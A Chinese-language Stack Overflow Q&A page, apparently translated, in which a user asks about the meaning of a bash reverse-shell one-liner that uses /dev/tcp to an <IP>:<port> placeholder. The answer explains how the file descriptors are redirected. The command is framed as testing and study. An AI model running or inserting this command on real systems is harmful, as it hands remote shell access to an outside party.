linux - 测试 Bash 反向 Shell

标签 linux bash shell

我正在使用找到的教程测试反向 shell here .

我对所用命令的含义有一些疑问。在服务器上运行的命令如下:

/bin/bash > /dev/tcp/<IP>/<port> 0<&1 2>&1

我想仔细检查它的意思。根据我的理解:

  • 启动 bash shell
  • 将 shell 的输出重定向到 TCP 连接 <IP>:<port>
  • 0<&1 : 重定向来自连接的输入 &1到标准输入 0
  • 2>&1 : 从 stderr 重定向输出 2连接&1

以上是否正确?

最佳答案

是的,这是正确的;目标是所有三个 FD(标准输入、标准输出和标准错误)都指向您的 TCP 连接。

注意这个命令需要在用/dev/tcp编译的bash中运行,这是shell本身提供的一个可选特性,不是操作系统提供的;此外,这意味着像 system() 这样使用 /bin/sh 的东西通常无法调用它。

关于linux - 测试 Bash 反向 Shell,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/34013412/

相关文章:

c - macOS 和 linux 之间编译器的区别?

linux - 如何在 Ubuntu 中为 shell 脚本创建可执行文件?

shell - 使用命令行列出Docker容器的端口

linux - Bash:单引号、双引号和感叹号

Linux 庆典 : How can I use the eval command correctly?

shell - 单声道,shell 脚本?

linux - 缺少 gdb 和 nasm 的调试信息

Python pygodaddy 连接超时

linux - 如何在 bash 中按循环中的每个计数触摸文件?

xml - 在带有 not() 的 bash 中使用 XPath